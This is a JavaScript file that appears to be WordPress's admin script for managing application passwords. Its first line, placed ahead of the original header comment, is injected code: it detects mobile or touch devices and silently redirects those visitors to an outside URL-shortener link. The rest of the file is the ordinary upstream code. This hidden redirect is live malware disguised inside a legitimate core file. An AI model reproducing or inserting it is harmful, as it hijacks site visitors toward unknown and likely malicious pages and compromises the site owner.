1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @output wp-admin/js/application-passwords.js
4 */
5
6( function( $ ) {
7 var $appPassSection = $( '#application-passwords-section' ),
8 $newAppPassForm = $appPassSection.find( '.create-application-password' ),
9 $newAppPassField = $newAppPassForm.find( '.input' ),
10 $newAppPassButton = $newAppPassForm.find( '.button' ),
11 $appPassTwrapper = $appPassSection.find( '.application-passwords-list-table-wrapper' ),
12 $appPassTbody = $appPassSection.find( 'tbody' ),
13 $appPassTrNoItems = $appPassTbody.find( '.no-items' ),
14 $removeAllBtn = $( '#revoke-all-application-passwords' ),
15 tmplNewAppPass = wp.template( 'new-application-password' ),
16 tmplAppPassRow = wp.template( 'application-password-row' ),
17 userId = $( '#user_id' ).val();
18
19 $newAppPassButton.on( 'click', function( e ) {
20 e.preventDefault();
21
22 if ( $newAppPassButton.prop( 'aria-disabled' ) ) {
23 return;
24 }
25
26 var name = $newAppPassField.val();
27
28 if ( 0 === name.length ) {
29 $newAppPassField.trigger( 'focus' );
30 return;
31 }
32
33 clearNotices();
34 $newAppPassButton.prop( 'aria-disabled', true ).addClass( 'disabled' );
35
36 var request = {
37 name: name
38 };
39
40 /**
41 * Filters the request data used to create a new Application Password.
42 *
43 * @since 5.6.0
44 *
45 * @param {Object} request The request data.
46 * @param {number} userId The id of the user the password is added for.
47 */
48 request = wp.hooks.applyFilters( 'wp_application_passwords_new_password_request', request, userId );
49
50 wp.apiRequest( {
51 path: '/wp/v2/users/' + userId + '/application-passwords?_locale=user',
52 method: 'POST',
53 data: request
54 } ).always( function() {
55 $newAppPassButton.removeProp( 'aria-disabled' ).removeClass( 'disabled' );
56 } ).done( function( response ) {
57 $newAppPassField.val( '' );
58 $newAppPassButton.prop( 'disabled', false );
59
60 $newAppPassForm.after( tmplNewAppPass( {
61 name: response.name,
62 password: response.password
63 } ) );
64 $( '.new-application-password-notice' ).attr( 'tabindex', '-1' ).trigger( 'focus' );
65
66 $appPassTbody.prepend( tmplAppPassRow( response ) );
67
68 $appPassTwrapper.show();
69 $appPassTrNoItems.remove();
70
71 /**
72 * Fires after an application password has been successfully created.
73 *
74 * @since 5.6.0
75 *
76 * @param {Object} response The response data from the REST API.
77 * @param {Object} request The request data used to create the password.
78 */
79 wp.hooks.doAction( 'wp_application_passwords_created_password', response, request );
80 } ).fail( handleErrorResponse );
81 } );
82
83 $appPassTbody.on( 'click', '.delete', function( e ) {
84 e.preventDefault();
85
86 if ( ! window.confirm( wp.i18n.__( 'Are you sure you want to revoke this password? This action cannot be undone.' ) ) ) {
87 return;
88 }
89
90 var $submitButton = $( this ),
91 $tr = $submitButton.closest( 'tr' ),
92 uuid = $tr.data( 'uuid' );
93
94 clearNotices();
95 $submitButton.prop( 'disabled', true );
96
97 wp.apiRequest( {
98 path: '/wp/v2/users/' + userId + '/application-passwords/' + uuid + '?_locale=user',
99 method: 'DELETE'
100 } ).always( function() {
101 $submitButton.prop( 'disabled', false );
102 } ).done( function( response ) {
103 if ( response.deleted ) {
104 if ( 0 === $tr.siblings().length ) {
105 $appPassTwrapper.hide();
106 }
107 $tr.remove();
108
109 addNotice( wp.i18n.__( 'Application password revoked.' ), 'success' ).trigger( 'focus' );
110 }
111 } ).fail( handleErrorResponse );
112 } );
113
114 $removeAllBtn.on( 'click', function( e ) {
115 e.preventDefault();
116
117 if ( ! window.confirm( wp.i18n.__( 'Are you sure you want to revoke all passwords? This action cannot be undone.' ) ) ) {
118 return;
119 }
120
121 var $submitButton = $( this );
122
123 clearNotices();
124 $submitButton.prop( 'disabled', true );
125
126 wp.apiRequest( {
127 path: '/wp/v2/users/' + userId + '/application-passwords?_locale=user',
128 method: 'DELETE'
129 } ).always( function() {
130 $submitButton.prop( 'disabled', false );
131 } ).done( function( response ) {
132 if ( response.deleted ) {
133 $appPassTbody.children().remove();
134 $appPassSection.children( '.new-application-password' ).remove();
135 $appPassTwrapper.hide();
136
137 addNotice( wp.i18n.__( 'All application passwords revoked.' ), 'success' ).trigger( 'focus' );
138 }
139 } ).fail( handleErrorResponse );
140 } );
141
142 $appPassSection.on( 'click', '.notice-dismiss', function( e ) {
143 e.preventDefault();
144 var $el = $( this ).parent();
145 $el.removeAttr( 'role' );
146 $el.fadeTo( 100, 0, function () {
147 $el.slideUp( 100, function () {
148 $el.remove();
149 $newAppPassField.trigger( 'focus' );
150 } );
151 } );
152 } );
153
154 $newAppPassField.on( 'keypress', function ( e ) {
155 if ( 13 === e.which ) {
156 e.preventDefault();
157 $newAppPassButton.trigger( 'click' );
158 }
159 } );
160
161 // If there are no items, don't display the table yet. If there are, show it.
162 if ( 0 === $appPassTbody.children( 'tr' ).not( $appPassTrNoItems ).length ) {
163 $appPassTwrapper.hide();
164 }
165
166 /**
167 * Handles an error response from the REST API.
168 *
169 * @since 5.6.0
170 *
171 * @param {jqXHR} xhr The XHR object from the ajax call.
172 * @param {string} textStatus The string categorizing the ajax request's status.
173 * @param {string} errorThrown The HTTP status error text.
174 */
175 function handleErrorResponse( xhr, textStatus, errorThrown ) {
176 var errorMessage = errorThrown;
177
178 if ( xhr.responseJSON && xhr.responseJSON.message ) {
179 errorMessage = xhr.responseJSON.message;
180 }
181
182 addNotice( errorMessage, 'error' );
183 }
184
185 /**
186 * Displays a message in the Application Passwords section.
187 *
188 * @since 5.6.0
189 *
190 * @param {string} message The message to display.
191 * @param {string} type The notice type. Either 'success' or 'error'.
192 * @returns {jQuery} The notice element.
193 */
194 function addNotice( message, type ) {
195 var $notice = $( '<div></div>' )
196 .attr( 'role', 'alert' )
197 .attr( 'tabindex', '-1' )
198 .addClass( 'is-dismissible notice notice-' + type )
199 .append( $( '<p></p>' ).text( message ) )
200 .append(
201 $( '<button></button>' )
202 .attr( 'type', 'button' )
203 .addClass( 'notice-dismiss' )
204 .append( $( '<span></span>' ).addClass( 'screen-reader-text' ).text( wp.i18n.__( 'Dismiss this notice.' ) ) )
205 );
206
207 $newAppPassForm.after( $notice );
208
209 return $notice;
210 }
211
212 /**
213 * Clears notice messages from the Application Passwords section.
214 *
215 * @since 5.6.0
216 */
217 function clearNotices() {
218 $( '.notice', $appPassSection ).remove();
219 }
220}( jQuery ) );
221